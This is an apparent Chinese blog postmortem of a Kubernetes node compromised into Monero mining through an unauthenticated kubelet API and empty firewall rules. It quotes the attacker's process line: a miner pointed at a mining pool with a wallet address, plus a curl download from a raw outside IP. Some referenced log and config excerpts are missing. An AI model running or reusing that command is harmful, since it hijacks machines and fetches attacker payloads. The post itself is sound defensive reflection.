网络安全是个严肃的问题，它总是在不经意间出现，等你反应过来却已经迟了。希望各位读者看完后也有所启发，去检查及加固自己的集群。

检查到某台机器中出现了异常进程：

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat

简单来讲，就是我们的机器被用来挖矿了……

问题出现后，我们第一时间关闭了docker，其实应该隔离下环境，把挖矿程序dump下来，以便后续分析。

出现了异常进程，肯定是被入侵了，我首先看的是 iptables 。果不其然，机器上的 iptables 规则是空的，意味着这台机器在裸奔。

内部同事提出了有可能是 kubelet 被入侵的问题，检查过其他组件后，开始检查 kubelet 组件。

最后检查到 kubelet 日志中有异常：

确认入侵问题，kubelet 参数设置错误，允许直接访问 kubelet 的 api。

发现是 kubelet 的启动项中，该位置被注释掉：

然后文件中禁止匿名访问的配置没有读取。

该项配置是由于我操作不当注释掉的。

由于是新增加的机器，当晚就发现了问题，整个集群是我在管理的，我跟随着一起排查，所以很快就找到了原因，当晚我就把其他机器中的配置项重新扫了一遍，假如它们的防火墙失效了，也会有类似的入侵情况发生，还好此次事件控制在1台机器中。

其实该问题理论上讲是可以避免的，是因为出现了多层漏洞才会被有心人扫到，我从外到内整理了一下可能改进的策略。

我这里不是抛出疑问，只是想告诉大家，考虑系统设计时，有必要考虑下安全性。

发生了入侵事件后，同事开玩笑说，还好没其他经济损失，要不我可能要回家了。作为集群的管理员，只有自己最清楚问题的严重程度。从本质上来讲，问题已经相当严重了。入侵者相当于拥有了机器上docker的完整控制权限。如果读者有读过我关于docker系列的内容，就对权限上了解清楚了。

因为此次事件的发生，不只是我，还有SA的同学基本都被骂了一遍，心里还是有点难受的，希望大家能对网络安全问题有所重视，从加固防火墙开始，避免监听不必要的端口，这两项至少是最容易实现的。